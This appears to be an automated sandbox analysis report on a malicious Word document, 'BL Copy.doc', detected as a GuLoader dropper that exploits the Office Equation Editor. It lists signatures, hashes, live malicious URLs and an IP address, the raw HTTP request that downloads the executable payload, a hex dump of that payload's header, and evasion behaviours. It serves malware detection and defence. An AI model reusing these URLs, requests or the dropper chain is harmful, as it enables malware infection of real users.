Windows Analysis Report
BL Copy.doc

Overview

General Information

Sample Name: BL Copy.doc
Analysis ID: 558760
MD5: 2fea7c43cd327113333de7ff54800979
SHA1: b2cf7c97bbfec5b765ee9402f57440910ec89e8b
SHA256: 6ed3aca39d91726d1f16ecb2fa8fc5cc38fa4cce1355bfd5186d2a22769e806c
Tags: doc
Infos:

Detection

GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Sigma detected: EQNEDT32.EXE connecting to internet
Multi AV Scanner detection for submitted file
Sigma detected: Droppers Exploiting CVE-2017-11882
Sigma detected: File Dropped By EQNEDT32EXE
Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Antivirus detection for dropped file
Yara detected GuLoader
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Office equation editor drops PE file
C2 URLs / IPs found in malware configuration
Document has an unknown application name
May sleep (evasive loops) to hinder dynamic analysis
Contains functionality to shutdown / reboot the system
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Potential document exploit detected (performs DNS queries)
IP address seen in connection with other malware
Downloads executable code via HTTP
Contains functionality for execution timing, often used to detect debuggers
Document misses a certain OLE stream usually present in this Microsoft Office document type
Abnormal high CPU Usage
Document contains Microsoft Equation 3.0 OLE entries
Document contains no OLE stream with summary information
Potential document exploit detected (unknown TCP traffic)
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Office Equation Editor has been started
Potential document exploit detected (performs HTTP gets)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)
Contains functionality for read data from the clipboard

Classification

AV Detection
barindex
Found malware configuration
Source: 00000004.00000002.745732792.0000000003790000.00000040.00000800.00020000.00000000.sdmp Malware Configuration Extractor: GuLoader {"Payload URL": "https://bangladeshshoecity.com/im"}
Multi AV Scanner detection for submitted file
Source: BL Copy.doc Virustotal: Detection: 27% Perma Link
Source: BL Copy.doc ReversingLabs: Detection: 20%
Antivirus detection for URL or domain
Source: http://margos.org/dda/SYNT.exe Avira URL Cloud: Label: malware
Multi AV Scanner detection for domain / URL
Source: margos.org Virustotal: Detection: 7% Perma Link
Source: http://margos.org/dda/SYNT.exe Virustotal: Detection: 11% Perma Link
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{0A92385B-F20B-4105-B494-8D633B606BC4}.tmp Avira: detection malicious, Label: EXP/CVE-2018-0798.Gen

Exploits
barindex
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\Puportd92.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\Puportd92.exe Jump to behavior
Document contains Microsoft Equation 3.0 OLE entries
Source: ~WRF{0A92385B-F20B-4105-B494-8D633B606BC4}.tmp.0.dr Stream path '_1704534972/\x1CompObj' : ...........................F....Microsoft Equation
Office Equation Editor has been started
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_00405C49 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 4_2_00405C49
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_00406873 FindFirstFileW,FindClose, 4_2_00406873
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_0040290B FindFirstFileW, 4_2_0040290B

Software Vulnerabilities
barindex
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: margos.org
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 131.153.37.3:80
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 131.153.37.3:80

Networking
barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: https://bangladeshshoecity.com/im
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: SSASN2US SSASN2US
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 131.153.37.3 131.153.37.3
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 24 Jan 2022 12:11:08 GMTServer: ApacheLast-Modified: Sun, 23 Jan 2022 21:05:28 GMTAccept-Ranges: bytesContent-Length: 95264Keep-Alive: timeout=5, max=200Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 08 81 e9 50 66 d2 e9 50 66 d2 e9 50 66 d2 2a 5f 39 d2 eb 50 66 d2 e9 50 67 d2 4c 50 66 d2 2a 5f 3b d2 e6 50 66 d2 bd 73 56 d2 e3 50 66 d2 2e 56 60 d2 e8 50 66 d2 52 69 63 68 e9 50 66 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 5a 9b 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 6a 00 00 00 da 02 00 00 08 00 00 2d 35 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 d0 04 00 00 04 00 00 55 80 01 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 10 86 00 00 a0 00 00 00 00 c0 04 00 28 0e 00 00 00 00 00 00 00 00 00 00 a0 5f 01 00 80 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 97 68 00 00 00 10 00 00 00 6a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a6 14 00 00 00 80 00 00 00 16 00 00 00 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 b0 02 00 00 a0 00 00 00 06 00 00 00 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 60 01 00 00 60 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 28 0e 00 00 00 c0 04 00 00 10 00 00 00 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /dda/SYNT.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: margos.orgConnection: Keep-Alive
Source: Puportd92.exe.2.dr, SYNT[1].exe.2.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: Puportd92.exe.2.dr, SYNT[1].exe.2.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: Puportd92.exe.2.dr, SYNT[1].exe.2.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: Puportd92.exe.2.dr, SYNT[1].exe.2.dr String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: Puportd92.exe.2.dr, SYNT[1].exe.2.dr String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: Puportd92.exe.2.dr, SYNT[1].exe.2.dr String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: Puportd92.exe, 00000004.00000002.745588168.000000000040A000.00000004.00000001.01000000.00000003.sdmp, Puportd92.exe, 00000004.00000000.414258604.000000000040A000.00000008.00000001.01000000.00000003.sdmp, Puportd92.exe.2.dr, SYNT[1].exe.2.dr String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Puportd92.exe.2.dr, SYNT[1].exe.2.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: Puportd92.exe.2.dr, SYNT[1].exe.2.dr String found in binary or memory: http://ocsp.digicert.com0O
Source: Puportd92.exe.2.dr, SYNT[1].exe.2.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: Puportd92.exe.2.dr, SYNT[1].exe.2.dr String found in binary or memory: https://www.digicert.com/CPS0
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{DF251CD5-FF6C-451C-B429-835255A63BB9}.tmp Jump to behavior
Source: unknown DNS traffic detected: queries for: margos.org
Source: global traffic HTTP traffic detected: GET /dda/SYNT.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: margos.orgConnection: Keep-Alive

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Contains functionality for read data from the clipboard
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_004056DE GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard, 4_2_004056DE

System Summary
barindex
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\SYNT[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\Puportd92.exe Jump to dropped file
Document has an unknown application name
Source: ~WRF{0A92385B-F20B-4105-B494-8D633B606BC4}.tmp.0.dr OLE indicator application name: unknown
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_0040352D
Detected potential crypto function
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_0040755C 4_2_0040755C
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_00406D85 4_2_00406D85
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_729A1BFF 4_2_729A1BFF
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_0379559A 4_2_0379559A
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_03793D5A 4_2_03793D5A
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_0379734F 4_2_0379734F
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_03793B22 4_2_03793B22
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_03796D17 4_2_03796D17
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_037915FB 4_2_037915FB
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_037939FE 4_2_037939FE
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_037941F1 4_2_037941F1
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_0379719A 4_2_0379719A
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_0379767A 4_2_0379767A
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_0379744F 4_2_0379744F
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_03795435 4_2_03795435
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_03790217 4_2_03790217
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_037952F8 4_2_037952F8
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_03793A95 4_2_03793A95
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_03795881 4_2_03795881
Contains functionality to call native functions
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_0379559A NtAllocateVirtualMemory, 4_2_0379559A
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_037952F8 NtAllocateVirtualMemory, 4_2_037952F8
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: ~WRF{0A92385B-F20B-4105-B494-8D633B606BC4}.tmp.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Abnormal high CPU Usage
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Process Stats: CPU usage > 98%
Document contains no OLE stream with summary information
Source: ~WRF{0A92385B-F20B-4105-B494-8D633B606BC4}.tmp.0.dr OLE indicator has summary info: false
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: BL Copy.doc Virustotal: Detection: 27%
Source: BL Copy.doc ReversingLabs: Detection: 20%
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\Puportd92.exe C:\Users\user\AppData\Roaming\Puportd92.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\Puportd92.exe C:\Users\user\AppData\Roaming\Puportd92.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_0040352D
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$L Copy.doc Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRE197.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.winDOC@4/13@1/1
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_004021AA CoCreateInstance, 4_2_004021AA
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_0040498A GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW, 4_2_0040498A
Source: ~WRF{0A92385B-F20B-4105-B494-8D633B606BC4}.tmp.0.dr OLE document summary: title field not present or empty
Source: ~WRF{0A92385B-F20B-4105-B494-8D633B606BC4}.tmp.0.dr OLE document summary: author field not present or empty
Source: ~WRF{0A92385B-F20B-4105-B494-8D633B606BC4}.tmp.0.dr OLE document summary: edited time not present or 0
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: BL Copy.doc Static file information: File size 1786089 > 1048576
Source: ~WRF{0A92385B-F20B-4105-B494-8D633B606BC4}.tmp.0.dr Initial sample: OLE indicators vbamacros = False

Data Obfuscation
barindex
Yara detected GuLoader
Source: Yara match File source: 00000004.00000002.745732792.0000000003790000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_729A30C0 push eax; ret 4_2_729A30EE
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_03792EF0 push es; iretd 4_2_03792EF3
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_729A1BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW, 4_2_729A1BFF

Persistence and Installation Behavior
barindex
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\SYNT[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Puportd92.exe File created: C:\Users\user\AppData\Local\Temp\nsq4443.tmp\System.dll Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\Puportd92.exe Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2696 Thread sleep time: -300000s >= -30000s Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_037952EA rdtsc 4_2_037952EA
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_00405C49 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 4_2_00405C49
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_00406873 FindFirstFileW,FindClose, 4_2_00406873
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_0040290B FindFirstFileW, 4_2_0040290B
Source: C:\Users\user\AppData\Roaming\Puportd92.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\Puportd92.exe API call chain: ExitProcess graph end node
